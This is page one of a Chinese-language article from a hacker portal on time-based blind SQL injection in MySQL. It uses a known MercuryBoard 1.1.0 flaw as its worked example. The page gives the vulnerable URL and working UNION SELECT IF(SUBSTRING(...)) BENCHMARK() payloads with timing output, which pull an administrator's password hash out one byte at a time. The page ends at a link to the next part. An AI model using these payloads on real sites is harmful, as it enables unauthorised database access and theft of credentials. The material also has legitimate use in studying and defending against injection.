| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 脚本漏洞攻击 >> 正文 用户登录 新用户注册
MySQL数据库盲注技术         ★★★ 【字体:
MySQL数据库盲注技术
作者:未知 文章来源:华盟收集 点击数: 更新时间:2006-11-28

 

"Validate anything can be passed. Security lays in the inputs. " - zk
所有的过滤都可能被突破。安全取决于输入。-zk

摘要:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MySQL数据库用SQL注射并不容易:当UNION出现在两个不同类型的数据列中,没有一种方法
可以从查询里传递的参数里查询显示的错误。当我们审核php/MySQL应用程序的代码,我们发现一个注射漏洞却
是不可利用的这出现过很多,因为在脚本结束前我们不能够看到输出结果或者我们看到的都是一个错误信息导致找到的值通过不同的列表传递给多重查询。
基于这个原因用SELECT...UNION是不够的。


注射工具盒
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
当我们得到没有错误提示,一个普通的注射总是用UNION SELECT [null,null,..到前面选择里正确列的数字]/* 去看,
因此我们可以更深入。假如没有输出结果显示,即使我们准确地知道每个表里每个列的名字,也几乎不可能得到内容。

用codebug.org发现的MercuryBoard里不可利用的漏洞做例子,我将会一步一步演示如何从被里发现的不可利用的漏洞里找到密码散列。
我假设这个表的名字是已知的。(在审核一个开放脚本资源,或者调试默认选项是否活动是,这是都一种正常的假设)

漏洞
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MercuryBoard v. 1.1.0 Alberto Trivero发现存在一个SQL注入漏洞,当post.php包含被设置成'reply',并且参数't'被传递。
当用户登陆进行以下操作时,结果将会发生一个错误:
http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1'
这个结果看起来像是不能被利用的。

准备好盲目性
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
首先用数据库低权限的用户完整安装有漏洞的Mercuryboard版本。

|---|数据库名字是'mercuryboard'|---| (让我显示表名)

mysql> SHOW TABLES;
+-------------------+
| Tables_in_mercury |
+-------------------+
| mb_active     |
| mb_attach     |
| mb_forums     |
| mb_groups     |
| mb_help     |
| mb_logs     |
| mb_membertitles   |
| mb_pmsystem   |
| mb_posts     |
| mb_replacements   |
| mb_settings   |
| mb_skins     |
| mb_subscriptions |
| mb_templates   |
| mb_topics     |
| mb_users     |
| mb_votes     |
+-------------------+
17 rows in set (0.00 sec)

|---| 你看到的当前用户是普通用户|---| (不会作为root运行)
mysql> SELECT USER();
+---------------+
| USER()   |
+---------------+
| 123@localhost |
+---------------+
1 row in set (0.00 sec)

mysql> SELECT password,USER() FROM mysql.user;
ERROR 1142: select command denied to user: '123@localhost' for table 'user'
mysql>

|---| 下面的查询将显示管理员的散列的第一个字节|---|

mysql> SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
+------------------------------+
| SUBSTRING(user_password,1,1) |
+------------------------------+
| 5             |
+------------------------------+
1 row in set (0.00 sec)

|---| 下面显示管理员散列ASCII的第一个字节|---|

mysql> SELECT ASCII('5');
+------------+
| ASCII('5') |
+------------+
|     53 |
+------------+
1 row in set (0.00 sec)

区别
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
目标是找到一种以某种方式建议的方法,以至我们寻找的内容是正确的。怎么可能知道管理员散列的第一个
字节是否等于'5'?在NGSS资料里,假如内容与注射的匹配,作者将简单的使查询延迟。在mssql里这个会用一个条件
IF [QUERY] waitfor [TIME]来追加,而mysql不支持'waitfor'。

在下面查询中我成功的用IF()函数跟随一个BENCHMARK()函数来创建5秒钟的延迟。当前用户可以用低权限
执行(当然假如你可以SELECT你就可以执行BENCHMARK()函数)。

|---|传递一个错误的数字 |---| (CHAR(52) is equal to '4')

mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(52),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
|     3 |
|     0 |
+-----------+
2 rows in set (0.00 sec)

在前面的例子中BENCHMARK()函数没有被执行((耗时
0.00 sec). )

|---| 传递相匹配内容|---| (BENCHMARK() 被执行)

mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(53),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
|     3 |
|     0 |
+-----------+
2 rows in set (5.36 sec)

在前面的例子里BENCHMARK()函数延迟查询5.36s。

对GET req修补
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
为能成功注射SQL指令我们不得不清除任何单个回显的request.


|---| 清除回显|---|

mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null) FROM mb_users WHERE user_gr
oup = 1;
+-----------+
| active_id |
+-----------+
|     3 |
|     0 |
+-----------+
2 rows in set (4.65 sec)

mysql>

[1] [2] 下一页

责任编辑:华夏编辑8  联系方式  Email:华夏编辑8
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    MYSQL 注射精华
    数据库注射精华
    ASP数据库插马小议
    Mysql5注射技巧总结
    破解mysql root密码方法
    暴Dvbbs数据库代码
    ASP数据库插马小议
    数据库玩时间差注入
    linux下mysql5.x另种用法
    数据库SA权限入侵感悟
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号